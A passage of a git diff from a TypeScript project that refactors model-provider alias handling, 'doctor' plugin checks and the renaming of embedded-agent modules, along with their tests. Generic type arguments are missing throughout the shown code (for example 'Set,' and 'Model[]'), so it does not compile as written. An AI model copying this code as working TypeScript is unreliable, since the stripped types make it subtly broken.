changes) => { const plugins = isRecord(raw.plugins) ? raw.plugins : undefined; diff --git a/src/commands/doctor/shared/legacy-runtime-model-providers.ts b/src/commands/doctor/shared/legacy-runtime-model-providers.ts new file mode 100644 index 00000000000..a90f108274b --- /dev/null +++ b/src/commands/doctor/shared/legacy-runtime-model-providers.ts @@ -0,0 +1,107 @@ +import { normalizeStaticProviderModelId } from "../../../agents/model-ref-shared.js"; +import { normalizeProviderId } from "../../../agents/provider-id.js"; + +type LegacyRuntimeModelProviderAlias = { + /** Legacy provider id that encoded the runtime in the model ref. */ + legacyProvider: string; + /** Canonical provider id that should own model selection. */ + provider: string; + /** Runtime/backend id selected for the migrated ref. */ + runtime: string; + /** True when the runtime is a CLI backend rather than an embedded harness. */ + cli: boolean; + /** True when doctor must write a runtime policy even if the target runtime is the default. */ + requiresRuntimePolicy: boolean; +}; + +const LEGACY_RUNTIME_MODEL_PROVIDER_ALIASES = [ + { + legacyProvider: "codex", + provider: "openai", + runtime: "codex", + cli: false, + requiresRuntimePolicy: false, + }, + { + legacyProvider: "codex-cli", + provider: "openai", + runtime: "codex", + cli: false, + requiresRuntimePolicy: true, + }, + { + legacyProvider: "claude-cli", + provider: "anthropic", + runtime: "claude-cli", + cli: true, + requiresRuntimePolicy: true, + }, + { + legacyProvider: "google-gemini-cli", + provider: "google", + runtime: "google-gemini-cli", + cli: true, + requiresRuntimePolicy: true, + }, +] as const satisfies readonly LegacyRuntimeModelProviderAlias[]; + +function normalizeLegacyRuntimeProviderId(provider: string): string { + const normalized = provider.trim().toLowerCase(); + return normalized === "anthropic-cli" ? "claude-cli" : normalizeProviderId(normalized); +} + +const LEGACY_ALIAS_BY_PROVIDER = new Map( + LEGACY_RUNTIME_MODEL_PROVIDER_ALIASES.map((entry) => [ + normalizeLegacyRuntimeProviderId(entry.legacyProvider), + entry, + ]), +); + +export function listLegacyRuntimeModelProviderAliases(): readonly LegacyRuntimeModelProviderAlias[] { + return LEGACY_RUNTIME_MODEL_PROVIDER_ALIASES; +} + +export function legacyRuntimeModelAliasRequiresRuntimePolicy(provider: string): boolean { + return ( + LEGACY_ALIAS_BY_PROVIDER.get(normalizeLegacyRuntimeProviderId(provider)) + ?.requiresRuntimePolicy === true + ); +} + +function resolveLegacyRuntimeModelProviderAlias( + provider: string, +): LegacyRuntimeModelProviderAlias | undefined { + return LEGACY_ALIAS_BY_PROVIDER.get(normalizeLegacyRuntimeProviderId(provider)); +} + +export function migrateLegacyRuntimeModelRef(raw: string): { + ref: string; + legacyProvider: string; + provider: string; + model: string; + runtime: string; + cli: boolean; +} | null { + const trimmed = raw.trim(); + const slash = trimmed.indexOf("/"); + if (slash <= 0 || slash >= trimmed.length - 1) { + return null; + } + const alias = resolveLegacyRuntimeModelProviderAlias(trimmed.slice(0, slash)); + if (!alias) { + return null; + } + const rawModel = trimmed.slice(slash + 1).trim(); + const model = normalizeStaticProviderModelId(alias.provider, rawModel); + if (!model) { + return null; + } + return { + ref: `${alias.provider}/${model}`, + legacyProvider: alias.legacyProvider, + provider: alias.provider, + model, + runtime: alias.runtime, + cli: alias.cli, + }; +} diff --git a/src/commands/doctor/shared/missing-configured-plugin-install.ts b/src/commands/doctor/shared/missing-configured-plugin-install.ts index 785207ad57d..bed33509f58 100644 --- a/src/commands/doctor/shared/missing-configured-plugin-install.ts +++ b/src/commands/doctor/shared/missing-configured-plugin-install.ts @@ -114,20 +114,13 @@ function addConfiguredPluginId(ids: Set, value: unknown): void { } } -function addConfiguredAgentRuntimePluginIds( - ids: Set, - cfg: OpenClawConfig, - env?: NodeJS.ProcessEnv, -): void { - for (const runtime of collectConfiguredRuntimePluginIds(cfg, env ?? process.env, { - includeEnvRuntime: false, - includeLegacyAgentRuntimes: false, - })) { +function addConfiguredAgentRuntimePluginIds(ids: Set, cfg: OpenClawConfig): void { + for (const runtime of collectConfiguredRuntimePluginIds(cfg)) { addConfiguredPluginId(ids, runtime); } } -function collectConfiguredPluginIds(cfg: OpenClawConfig, env?: NodeJS.ProcessEnv): Set { +function collectConfiguredPluginIds(cfg: OpenClawConfig): Set { const ids = new Set(); const plugins = asObjectRecord(cfg.plugins); if (plugins?.enabled === false) { @@ -147,7 +140,7 @@ function collectConfiguredPluginIds(cfg: OpenClawConfig, env?: NodeJS.ProcessEnv ids.add(installEntry.pluginId); } } - addConfiguredAgentRuntimePluginIds(ids, cfg, env); + addConfiguredAgentRuntimePluginIds(ids, cfg); return ids; } @@ -233,8 +226,7 @@ function collectDownloadableInstallCandidates(params: { configuredChannelOwnerPluginIds?: ReadonlyMap>; blockedPluginIds?: ReadonlySet; }): DownloadableInstallCandidate[] { - const configuredPluginIds = - params.configuredPluginIds ?? collectConfiguredPluginIds(params.cfg, params.env); + const configuredPluginIds = params.configuredPluginIds ?? collectConfiguredPluginIds(params.cfg); const configuredChannelIds = params.configuredChannelIds ?? collectConfiguredChannelIds(params.cfg, params.env); const candidates = new Map(); @@ -1029,7 +1021,7 @@ export async function repairMissingConfiguredPluginInstalls(params: { return repairMissingPluginInstalls({ cfg: params.cfg, env: params.env, - pluginIds: collectConfiguredPluginIds(params.cfg, params.env), + pluginIds: collectConfiguredPluginIds(params.cfg), channelIds: collectConfiguredChannelIds(params.cfg, params.env), blockedPluginIds: collectBlockedPluginIds(params.cfg), ...(params.baselineRecords ? { baselineRecords: params.baselineRecords } : {}), diff --git a/src/commands/doctor/shared/plugin-tool-allowlist-warnings.test.ts b/src/commands/doctor/shared/plugin-tool-allowlist-warnings.test.ts index 18508ce15e8..e65b2af00f5 100644 --- a/src/commands/doctor/shared/plugin-tool-allowlist-warnings.test.ts +++ b/src/commands/doctor/shared/plugin-tool-allowlist-warnings.test.ts @@ -1,9 +1,6 @@ import { describe, expect, it } from "vitest"; import type { PluginManifestRegistry } from "../../../plugins/manifest-registry.js"; -import { - collectBundledProviderAllowlistPolicyWarnings, - collectPluginToolAllowlistWarnings, -} from "./plugin-tool-allowlist-warnings.js"; +import { collectPluginToolAllowlistWarnings } from "./plugin-tool-allowlist-warnings.js"; const manifestRegistry: PluginManifestRegistry = { diagnostics: [], @@ -269,7 +266,7 @@ describe("collectPluginToolAllowlistWarnings", () => { ]); }); - it("prefers canonical provider policy over an alias when checking active profiles", () => { + it("uses exact provider policy when checking active profiles", () => { const warnings = collectPluginToolAllowlistWarnings({ cfg: { agents: { @@ -290,9 +287,7 @@ describe("collectPluginToolAllowlistWarnings", () => { manifestRegistry, }); - expect(warnings).toEqual([ - '- mcp.servers defines 1 MCP server ("outlook"), but tools.sandbox.tools.alsoAllow does not include "bundle-mcp", "group:plugins", or a matching server-prefixed MCP tool name/glob such as "__*". Sandboxed agents will filter bundled MCP tools before provider requests. Add "bundle-mcp" to tools.sandbox.tools.alsoAllow (or use "group:plugins" / server globs) if those MCP tools should be visible; use tools.sandbox.tools.allow: [] only when you intentionally want no sandbox allow gate.', - ]); + expect(warnings).toStrictEqual([]); }); it("uses plural grammar when multiple sandbox allow sources hide MCP servers", () => { @@ -501,34 +496,4 @@ describe("collectPluginToolAllowlistWarnings", () => { expect(warnings).toStrictEqual([]); }); - - it("warns when restrictive plugins.allow leaves bundled provider discovery in explicit compat mode", () => { - const warnings = collectBundledProviderAllowlistPolicyWarnings({ - cfg: { - plugins: { - allow: ["telegram"], - bundledDiscovery: "compat", - }, - }, - }); - - expect(warnings).toEqual([ - '- plugins.allow is restrictive, but bundled provider discovery is still in legacy compatibility mode. Bundled provider plugins can still appear in runtime provider inventories; set plugins.bundledDiscovery to "allowlist" after confirming omitted bundled providers are intentionally blocked.', - ]); - }); - - it.each([ - { name: "default", plugins: { allow: ["telegram"] } }, - { - name: "explicit allowlist", - plugins: { allow: ["telegram"], bundledDiscovery: "allowlist" as const }, - }, - ])( - "does not warn when bundled provider discovery follows the allowlist ($name)", - ({ plugins }) => { - const warnings = collectBundledProviderAllowlistPolicyWarnings({ cfg: { plugins } }); - - expect(warnings).toStrictEqual([]); - }, - ); }); diff --git a/src/commands/doctor/shared/plugin-tool-allowlist-warnings.ts b/src/commands/doctor/shared/plugin-tool-allowlist-warnings.ts index 1dafaeb48ea..f4c624b1e29 100644 --- a/src/commands/doctor/shared/plugin-tool-allowlist-warnings.ts +++ b/src/commands/doctor/shared/plugin-tool-allowlist-warnings.ts @@ -1,7 +1,7 @@ +import { sanitizeServerName, TOOL_NAME_SEPARATOR } from "../../../agents/agent-bundle-mcp-names.js"; import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../../../agents/defaults.js"; import { compileGlobPatterns, matchesAnyGlobPattern } from "../../../agents/glob-pattern.js"; import { parseModelRef } from "../../../agents/model-selection-normalize.js"; -import { sanitizeServerName, TOOL_NAME_SEPARATOR } from "../../../agents/pi-bundle-mcp-names.js"; import { normalizeProviderId } from "../../../agents/provider-id.js"; import { mergeAlsoAllowPolicy, @@ -655,21 +655,3 @@ export function collectPluginToolAllowlistWarnings(params: { return warnings; } - -export function collectBundledProviderAllowlistPolicyWarnings(params: { - cfg: OpenClawConfig; -}): string[] { - if (params.cfg.plugins?.enabled === false) { - return []; - } - const allow = params.cfg.plugins?.allow; - if (!Array.isArray(allow) || allow.length === 0) { - return []; - } - if (params.cfg.plugins?.bundledDiscovery !== "compat") { - return []; - } - return [ - '- plugins.allow is restrictive, but bundled provider discovery is still in legacy compatibility mode. Bundled provider plugins can still appear in runtime provider inventories; set plugins.bundledDiscovery to "allowlist" after confirming omitted bundled providers are intentionally blocked.', - ]; -} diff --git a/src/commands/doctor/shared/release-configured-plugin-installs.ts b/src/commands/doctor/shared/release-configured-plugin-installs.ts index 3f000426148..a4b8bbb2a04 100644 --- a/src/commands/doctor/shared/release-configured-plugin-installs.ts +++ b/src/commands/doctor/shared/release-configured-plugin-installs.ts @@ -193,9 +193,9 @@ function collectProviderPluginIds(cfg: OpenClawConfig, env: NodeJS.ProcessEnv): function collectAgentHarnessRuntimePluginIds( cfg: OpenClawConfig, - env: NodeJS.ProcessEnv, + _env: NodeJS.ProcessEnv, ): string[] { - return collectConfiguredAgentHarnessRuntimes(cfg, env) + return collectConfiguredAgentHarnessRuntimes(cfg) .map((runtime) => AGENT_HARNESS_RUNTIME_PLUGIN_IDS[runtime]) .filter((pluginId): pluginId is string => Boolean(pluginId)) .toSorted((left, right) => left.localeCompare(right)); diff --git a/src/commands/doctor/shared/stale-plugin-config.test.ts b/src/commands/doctor/shared/stale-plugin-config.test.ts index 926187b3138..4bb16cfc88b 100644 --- a/src/commands/doctor/shared/stale-plugin-config.test.ts +++ b/src/commands/doctor/shared/stale-plugin-config.test.ts @@ -242,7 +242,7 @@ describe("doctor stale plugin config helpers", () => { }, list: [ { - id: "pi", + id: "openclaw", heartbeat: { target: "missing-chat-plugin", }, diff --git a/src/commands/model-picker.test.ts b/src/commands/model-picker.test.ts index bb2e6baeaee..a461ee0f11b 100644 --- a/src/commands/model-picker.test.ts +++ b/src/commands/model-picker.test.ts @@ -61,6 +61,7 @@ const hasRuntimeAvailableProviderAuth = vi.hoisted(() => }: { provider: string; cfg?: OpenClawConfig; + workspaceDir?: string; env?: NodeJS.ProcessEnv; }) => { if (provider === "amazon-bedrock") { @@ -100,6 +101,22 @@ vi.mock("../agents/model-auth.js", () => ({ hasRuntimeAvailableProviderAuth, })); +const createProviderAuthChecker = vi.hoisted(() => + vi.fn( + (params: { cfg?: OpenClawConfig; workspaceDir?: string; env?: NodeJS.ProcessEnv }) => + async (provider: string) => + hasRuntimeAvailableProviderAuth({ + provider, + cfg: params.cfg, + workspaceDir: params.workspaceDir, + env: params.env, + }), + ), +); +vi.mock("../agents/model-provider-auth.js", () => ({ + createProviderAuthChecker, +})); + const resolveOwningPluginIdsForProvider = vi.hoisted(() => vi.fn(({ provider }: { provider: string }) => { if (provider === "byteplus" || provider === "byteplus-plan") { @@ -112,7 +129,7 @@ const resolveOwningPluginIdsForProvider = vi.hoisted(() => }), ); vi.mock("../plugins/providers.js", () => ({ - resolveOwningPluginIdsForProvider, + resolveOwningPluginIdsForProviderRef: resolveOwningPluginIdsForProvider, })); const providerModelPickerContributionRuntime = vi.hoisted(() => ({ diff --git a/src/commands/models.list.e2e.test.ts b/src/commands/models.list.e2e.test.ts index d4b81fda8b2..a7b2bfe6dd0 100644 --- a/src/commands/models.list.e2e.test.ts +++ b/src/commands/models.list.e2e.test.ts @@ -86,7 +86,7 @@ vi.mock("../agents/model-catalog.js", () => ({ loadModelCatalog, })); -vi.mock("../agents/pi-embedded-runner/model.js", () => ({ +vi.mock("../agents/embedded-agent-runner/model.js", () => ({ resolveModelWithRegistry: ({ provider, modelId, @@ -98,7 +98,7 @@ vi.mock("../agents/pi-embedded-runner/model.js", () => ({ }) => modelRegistry.find(provider, modelId), })); -vi.mock("../agents/pi-model-discovery.js", () => { +vi.mock("../agents/agent-model-discovery.js", () => { class MockModelRegistry { find(provider: string, id: string) { if (modelRegistryState.findError !== undefined) { diff --git a/src/commands/models/auth.test.ts b/src/commands/models/auth.test.ts index 1da25522327..7d714fc4258 100644 --- a/src/commands/models/auth.test.ts +++ b/src/commands/models/auth.test.ts @@ -10,7 +10,6 @@ type AuthRunCall = { type ResolvePluginProvidersCall = { activate?: boolean; - bundledProviderAllowlistCompat?: boolean; bundledProviderVitestCompat?: boolean; config?: unknown; includeUntrustedWorkspacePlugins?: boolean; @@ -823,7 +822,6 @@ describe("modelsAuthLoginCommand", () => { ) as ResolvePluginProvidersCall; expect(providerResolutionCall.config).toEqual({}); expect(providerResolutionCall.workspaceDir).toBe("/tmp/openclaw/workspace"); - expect(providerResolutionCall.bundledProviderAllowlistCompat).toBe(true); expect(providerResolutionCall.bundledProviderVitestCompat).toBe(true); expect(providerResolutionCall.includeUntrustedWorkspacePlugins).toBe(false); expect(providerResolutionCall.providerRefs).toEqual(["anthropic"]); diff --git a/src/commands/models/auth.ts b/src/commands/models/auth.ts index 8384352e492..9902a645b63 100644 --- a/src/commands/models/auth.ts +++ b/src/commands/models/auth.ts @@ -246,15 +246,18 @@ async function resolveModelsAuthContext(params?: { const agentDir = resolveAgentDir(config, agentId); const workspaceDir = resolveAgentWorkspaceDir(config, agentId) ?? resolveDefaultAgentWorkspaceDir(); + const requestedProvider = params?.requestedProvider?.trim(); const providers = resolvePluginProviders({ config, workspaceDir, mode: "setup", includeUntrustedWorkspacePlugins: false, - bundledProviderAllowlistCompat: true, bundledProviderVitestCompat: true, - ...(params?.requestedProvider?.trim() - ? { providerRefs: [params.requestedProvider], activate: true } + ...(requestedProvider + ? { + providerRefs: [requestedProvider], + activate: true, + } : {}), }); const authProviders = preferSetupAuthProviders({ diff --git a/src/commands/models/list.configured.test.ts b/src/commands/models/list.configured.test.ts index 0cf18f2ce1f..fa578e6e3c5 100644 --- a/src/commands/models/list.configured.test.ts +++ b/src/commands/models/list.configured.test.ts @@ -1,4 +1,5 @@ -import { describe, expect, it, vi } from "vitest"; +import path from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; const emptyPluginMetadataSnapshot = vi.hoisted(() => ({ configFingerprint: "models-list-configured-test-empty-plugin-metadata", @@ -17,6 +18,10 @@ vi.mock("../../plugins/current-plugin-metadata-snapshot.js", () => ({ import { resolveConfiguredEntries } from "./list.configured.js"; +afterEach(() => { + vi.unstubAllEnvs(); +}); + describe("resolveConfiguredEntries", () => { it("parses configured models without loading provider-runtime normalization", () => { const { entries } = resolveConfiguredEntries({ @@ -73,7 +78,6 @@ describe("resolveConfiguredEntries", () => { expect(entries[0]?.aliases).toEqual(["Kilo Gemini"]); expect(entries[0]?.tags).toEqual(new Set(["default", "configured"])); }); - it("treats provider wildcard defaults as selectors, not configured model rows", () => { const { entries } = resolveConfiguredEntries({ agents: { @@ -92,4 +96,24 @@ describe("resolveConfiguredEntries", () => { expect(entries[0]?.aliases).toEqual(["Primary"]); expect(entries[0]?.tags).toEqual(new Set(["default", "configured"])); }); + + it("canonicalizes manifest-owned provider aliases in configured rows", () => { + vi.stubEnv("OPENCLAW_BUNDLED_PLUGINS_DIR", path.resolve("extensions")); + + const { entries } = resolveConfiguredEntries({ + agents: { + defaults: { + model: { primary: "z.ai/glm-4.7" }, + models: { + "z.ai/glm-4.7": { alias: "GLM" }, + }, + }, + }, + models: { providers: {} }, + }); + + expect(entries.map((entry) => entry.key)).toEqual(["zai/glm-4.7"]); + expect(entries[0]?.aliases).toEqual(["GLM"]); + expect(entries[0]?.tags).toEqual(new Set(["default", "configured"])); + }); }); diff --git a/src/commands/models/list.configured.ts b/src/commands/models/list.configured.ts index 1840aa3d27e..1d608187d7d 100644 --- a/src/commands/models/list.configured.ts +++ b/src/commands/models/list.configured.ts @@ -8,12 +8,17 @@ import { resolveAgentModelPrimaryValue, } from "../../config/model-input.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import type { PluginMetadataSnapshot } from "../../plugins/plugin-metadata-snapshot.js"; import type { ConfiguredEntry } from "./list.types.js"; +import { createModelCatalogProviderAliasCanonicalizer } from "./provider-aliases.js"; import { DEFAULT_MODEL, DEFAULT_PROVIDER, modelKey } from "./shared.js"; const DISPLAY_MODEL_PARSE_OPTIONS = { allowPluginNormalization: false } as const; -export function resolveConfiguredEntries(cfg: OpenClawConfig) { +export function resolveConfiguredEntries( + cfg: OpenClawConfig, + metadataSnapshot?: Pick, +) { const resolvedDefault = resolveConfiguredModelRef({ cfg, defaultProvider: DEFAULT_PROVIDER, @@ -28,13 +33,25 @@ export function resolveConfiguredEntries(cfg: OpenClawConfig) { const order: string[] = []; const tagsByKey = new Map>(); const aliasesByKey = new Map(); + const canonicalizeProviderAlias = createModelCatalogProviderAliasCanonicalizer({ + cfg, + metadataSnapshot, + }); for (const [key, aliases] of aliasIndex.byKey.entries()) { aliasesByKey.set(key, aliases); } const addEntry = (ref: { provider: string; model: string }, tag: string) => { - const key = modelKey(ref.provider, ref.model); + const canonicalRef = canonicalizeProviderAlias.ref(ref); + const key = modelKey(canonicalRef.provider, canonicalRef.model); + const originalKey = modelKey(ref.provider, ref.model); + if (originalKey !== key) { + const aliases = aliasesByKey.get(originalKey); + if (aliases) { + aliasesByKey.set(key, [...new Set([...(aliasesByKey.get(key) ?? []), ...aliases])]); + } + } if (!tagsByKey.has(key)) { tagsByKey.set(key, new Set()); order.push(key); diff --git a/src/commands/models/list.list-command.forward-compat.test.ts b/src/commands/models/list.list-command.forward-compat.test.ts index 17d5799a850..64e6371571e 100644 --- a/src/commands/models/list.list-command.forward-compat.test.ts +++ b/src/commands/models/list.list-command.forward-compat.test.ts @@ -301,7 +301,7 @@ function installModelsListCommandForwardCompatMocks() { loadModelCatalog: mocks.loadModelCatalog, })); - vi.doMock("../../agents/pi-embedded-runner/model.js", () => ({ + vi.doMock("../../agents/embedded-agent-runner/model.js", () => ({ resolveModelWithRegistry: mocks.resolveModelWithRegistry, })); @@ -1335,8 +1335,8 @@ describe("modelsListCommand forward-compat", () => { }); }); - describe("provider filter canonicalization", () => { - it("matches alias-valued discovered providers against canonical provider filters", async () => { + describe("provider filter matching", () => { + it("matches discovered providers against exact provider filters", async () => { mocks.resolveConfiguredEntries.mockReturnValueOnce({ entries: [] }); mocks.hasProviderStaticCatalogForFilter.mockResolvedValueOnce(true); mocks.loadModelRegistry.mockResolvedValueOnce({ @@ -1373,7 +1373,7 @@ describe("modelsListCommand forward-compat", () => { const runtime = createRuntime(); - await modelsListCommand({ all: true, provider: "z-ai", json: true }, runtime as never); + await modelsListCommand({ all: true, provider: "z.ai", json: true }, runtime as never); expect(mocks.printModelTable).toHaveBeenCalled(); expectRowKeys(lastPrintedRows<{ key: string }>(), ["z.ai/glm-4.5"]); diff --git a/src/commands/models/list.list-command.ts b/src/commands/models/list.list-command.ts index c889555a08c..01cd3389954 100644 --- a/src/commands/models/list.list-command.ts +++ b/src/commands/models/list.list-command.ts @@ -1,6 +1,6 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; -import type { ModelRegistry } from "@earendil-works/pi-coding-agent"; import { parseModelRef } from "../../agents/model-selection.js"; +import type { ModelRegistry } from "../../llm/model-registry.js"; +import type { Model } from "../../llm/types.js"; import { loadManifestMetadataSnapshot } from "../../plugins/manifest-contract-eligibility.js"; import type { RuntimeEnv } from "../../runtime.js"; import { createLazyImportLoader } from "../../shared/lazy-promise.js"; @@ -11,6 +11,7 @@ import { formatErrorWithStack } from "./list.errors.js"; import { printModelTable } from "./list.table.js"; import type { ModelRow } from "./list.types.js"; import { loadModelsConfigWithSource } from "./load-config.js"; +import { canonicalizeModelCatalogProviderAlias } from "./provider-aliases.js"; import { DEFAULT_PROVIDER, ensureFlagCompatibility } from "./shared.js"; const DISPLAY_MODEL_PARSE_OPTIONS = { allowPluginNormalization: false } as const; @@ -52,7 +53,7 @@ export async function modelsListCommand( runtime: RuntimeEnv, ) { ensureFlagCompatibility(opts); - const providerFilter = (() => { + const parsedProviderFilter = (() => { const raw = opts.provider?.trim(); if (!raw) { return undefined; @@ -67,7 +68,7 @@ export async function modelsListCommand( const parsed = parseModelRef(`${raw}/_`, DEFAULT_PROVIDER, DISPLAY_MODEL_PARSE_OPTIONS); return parsed?.provider ?? normalizeLowercaseStringOrEmpty(raw); })(); - if (providerFilter === null) { + if (parsedProviderFilter === null) { return; } const [ @@ -92,6 +93,12 @@ export async function modelsListCommand( workspaceDir, env: process.env, }); + const providerFilter = parsedProviderFilter + ? canonicalizeModelCatalogProviderAlias(parsedProviderFilter, { + cfg, + metadataSnapshot, + }) + : undefined; const authIndex = createModelListAuthIndex({ cfg, authStore, @@ -100,11 +107,11 @@ export async function modelsListCommand( }); let modelRegistry: ModelRegistry | undefined; - let registryModels: Model[] = []; + let registryModels: Model[] = []; let discoveredKeys = new Set(); let availableKeys: Set | undefined; let availabilityErrorMessage: string | undefined; - const { entries } = resolveConfiguredEntries(cfg); + const { entries } = resolveConfiguredEntries(cfg, metadataSnapshot); const configuredByKey = new Map(entries.map((entry) => [entry.key, entry])); const enableSourcePlanCascade = Boolean(opts.all) || Boolean(providerFilter); const sourcePlanModule = enableSourcePlanCascade ? await loadSourcePlanModule() : undefined; diff --git a/src/commands/models/list.probe.test.ts b/src/commands/models/list.probe.test.ts index d982fdfe68d..fa66da060ea 100644 --- a/src/commands/models/list.probe.test.ts +++ b/src/commands/models/list.probe.test.ts @@ -5,8 +5,8 @@ let probeModule: typeof import("./list.probe.js"); describe("mapFailoverReasonToProbeStatus", () => { beforeAll(async () => { - vi.doMock("../../agents/pi-embedded.js", () => { - throw new Error("pi-embedded should stay lazy for probe imports"); + vi.doMock("../../agents/embedded-agent.js", () => { + throw new Error("embedded-agent should stay lazy for probe imports"); }); try { probeModule = await importFreshModule( @@ -14,7 +14,7 @@ describe("mapFailoverReasonToProbeStatus", () => { `./list.probe.js?scope=${Math.random().toString(36).slice(2)}`, ); } finally { - vi.doUnmock("../../agents/pi-embedded.js"); + vi.doUnmock("../../agents/embedded-agent.js"); } }); diff --git a/src/commands/models/list.probe.ts b/src/commands/models/list.probe.ts index 43f507645f5..13abd151cfe 100644 --- a/src/commands/models/list.probe.ts +++ b/src/commands/models/list.probe.ts @@ -39,7 +39,7 @@ import { DEFAULT_PROVIDER, formatMs } from "./shared.js"; const PROBE_PROMPT = "Reply with OK. Do not use tools."; const embeddedRunnerModuleLoader = createLazyImportLoader( - () => import("../../agents/pi-embedded.js"), + () => import("../../agents/embedded-agent.js"), ); function loadEmbeddedRunnerModule() { @@ -509,8 +509,8 @@ async function probeTarget(params: { latencyMs: Date.now() - start, }); try { - const { runEmbeddedPiAgent } = await loadEmbeddedRunnerModule(); - await runEmbeddedPiAgent({ + const { runEmbeddedAgent } = await loadEmbeddedRunnerModule(); + await runEmbeddedAgent({ sessionId, sessionFile, agentId, diff --git a/src/commands/models/list.provider-catalog.test.ts b/src/commands/models/list.provider-catalog.test.ts index e0669e005a2..0cddabf231d 100644 --- a/src/commands/models/list.provider-catalog.test.ts +++ b/src/commands/models/list.provider-catalog.test.ts @@ -27,6 +27,7 @@ vi.mock("../../plugins/providers.js", () => ({ resolveBundledProviderCompatPluginIds: providerDiscoveryMocks.resolveBundledProviderCompatPluginIds, resolveOwningPluginIdsForProvider: providerDiscoveryMocks.resolveOwningPluginIdsForProvider, + resolveOwningPluginIdsForProviderRef: providerDiscoveryMocks.resolveOwningPluginIdsForProvider, })); vi.mock("../../plugins/contracts/registry.js", () => ({ diff --git a/src/commands/models/list.provider-catalog.ts b/src/commands/models/list.provider-catalog.ts index 5e2e6db6378..8aa68883c31 100644 --- a/src/commands/models/list.provider-catalog.ts +++ b/src/commands/models/list.provider-catalog.ts @@ -1,4 +1,3 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; import { loadAuthProfileStoreWithoutExternalProfiles } from "../../agents/auth-profiles/store.js"; import { createProviderApiKeyResolver, @@ -8,6 +7,7 @@ import { normalizeProviderId } from "../../agents/provider-id.js"; import type { ModelProviderConfig } from "../../config/types.models.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { formatErrorMessage } from "../../infra/errors.js"; +import type { Model } from "../../llm/types.js"; import { createSubsystemLogger } from "../../logging/subsystem.js"; import type { PluginMetadataSnapshot } from "../../plugins/plugin-metadata-snapshot.types.js"; import { @@ -25,7 +25,7 @@ import { } from "../../plugins/provider-discovery.js"; import { resolveBundledProviderCompatPluginIds, - resolveOwningPluginIdsForProvider, + resolveOwningPluginIdsForProviderRef, } from "../../plugins/providers.js"; import type { ProviderPlugin } from "../../plugins/types.js"; import { sortUniqueStrings } from "../../shared/string-normalization.js"; @@ -126,7 +126,7 @@ export async function resolveProviderCatalogPluginIdsForFilter(params: { if (installedIndexPluginIds) { return installedIndexPluginIds; } - const manifestPluginIds = resolveOwningPluginIdsForProvider({ + const manifestPluginIds = resolveOwningPluginIdsForProviderRef({ provider: providerFilter, config: params.cfg, env: params.env, @@ -194,7 +194,7 @@ function modelFromProviderCatalog(params: { provider: string; providerConfig: ModelProviderConfig; model: ModelProviderConfig["models"][number]; -}): Model { +}): Model { return { id: params.model.id, name: params.model.name || params.model.id, @@ -209,7 +209,7 @@ function modelFromProviderCatalog(params: { maxTokens: params.model.maxTokens, headers: params.model.headers, compat: params.model.compat, - } as Model; + } as Model; } export async function loadProviderCatalogModelsForList(params: { @@ -220,7 +220,7 @@ export async function loadProviderCatalogModelsForList(params: { staticOnly?: boolean; registryIndex?: PluginRegistrySnapshot; metadataSnapshot?: PluginMetadataSnapshot; -}): Promise[]> { +}): Promise { const env = params.env ?? process.env; const providerFilter = params.providerFilter ? normalizeProviderId(params.providerFilter) : ""; const onlyPluginIds = providerFilter @@ -264,7 +264,7 @@ export async function loadProviderCatalogModelsForList(params: { typeof provider.pluginId === "string" && bundledPluginIdSet.has(provider.pluginId), ); const byOrder = groupPluginDiscoveryProvidersByOrder(providers); - const rows: Model[] = []; + const rows: Model[] = []; const seen = new Set(); for (const order of DISCOVERY_ORDERS) { diff --git a/src/commands/models/list.registry-load.ts b/src/commands/models/list.registry-load.ts index 6dcb80e7e94..6431aa499d2 100644 --- a/src/commands/models/list.registry-load.ts +++ b/src/commands/models/list.registry-load.ts @@ -1,9 +1,8 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; -import type { ModelRegistry } from "@earendil-works/pi-coding-agent"; -import { resolveDefaultAgentDir } from "../../agents/agent-scope.js"; +import { loadAgentModelRegistry } from "../../agents/model-registry-loader.js"; import { shouldSuppressBuiltInModel } from "../../agents/model-suppression.js"; -import { discoverAuthStorage, discoverModels } from "../../agents/pi-model-discovery.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import type { ModelRegistry } from "../../llm/model-registry.js"; +import type { Model } from "../../llm/types.js"; import { loadModelRegistry } from "./list.registry.js"; import type { ConfiguredEntry } from "./list.types.js"; import { modelKey } from "./shared.js"; @@ -28,7 +27,7 @@ function findConfiguredRegistryModel(params: { registry: ModelRegistry; entry: ConfiguredEntry; cfg: OpenClawConfig; -}): Model | undefined { +}): Model | undefined { const model = params.registry.find(params.entry.ref.provider, params.entry.ref.model); if (!model) { return undefined; @@ -51,13 +50,8 @@ export function loadConfiguredListModelRegistry( entries: ConfiguredEntry[], opts?: { providerFilter?: string; workspaceDir?: string }, ) { - const agentDir = resolveDefaultAgentDir(cfg); - const authStorage = discoverAuthStorage(agentDir, { - readOnly: true, - config: cfg, + const { registry } = loadAgentModelRegistry(cfg, { workspaceDir: opts?.workspaceDir, - }); - const registry = discoverModels(authStorage, agentDir, { providerFilter: opts?.providerFilter, }); const discoveredKeys = new Set(); diff --git a/src/commands/models/list.registry.ts b/src/commands/models/list.registry.ts index 217f849874e..89c5de7abf4 100644 --- a/src/commands/models/list.registry.ts +++ b/src/commands/models/list.registry.ts @@ -1,12 +1,11 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; -import type { ModelRegistry } from "@earendil-works/pi-coding-agent"; -import { resolveDefaultAgentDir } from "../../agents/agent-scope.js"; +import { loadAgentModelRegistry } from "../../agents/model-registry-loader.js"; import { shouldSuppressBuiltInModel, shouldSuppressBuiltInModelFromManifest, } from "../../agents/model-suppression.js"; -import { discoverAuthStorage, discoverModels } from "../../agents/pi-model-discovery.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import type { ModelRegistry } from "../../llm/model-registry.js"; +import type { Model } from "../../llm/types.js"; import { formatErrorWithStack, MODEL_AVAILABILITY_UNAVAILABLE_CODE, @@ -31,7 +30,7 @@ function normalizeAvailabilityError(err: unknown): Error { ); } -function validateAvailableModels(availableModels: unknown): Model[] { +function validateAvailableModels(availableModels: unknown): Model[] { if (!Array.isArray(availableModels)) { throw createAvailabilityUnavailableError( "Model availability unavailable: getAvailable() returned a non-array value.", @@ -51,14 +50,14 @@ function validateAvailableModels(availableModels: 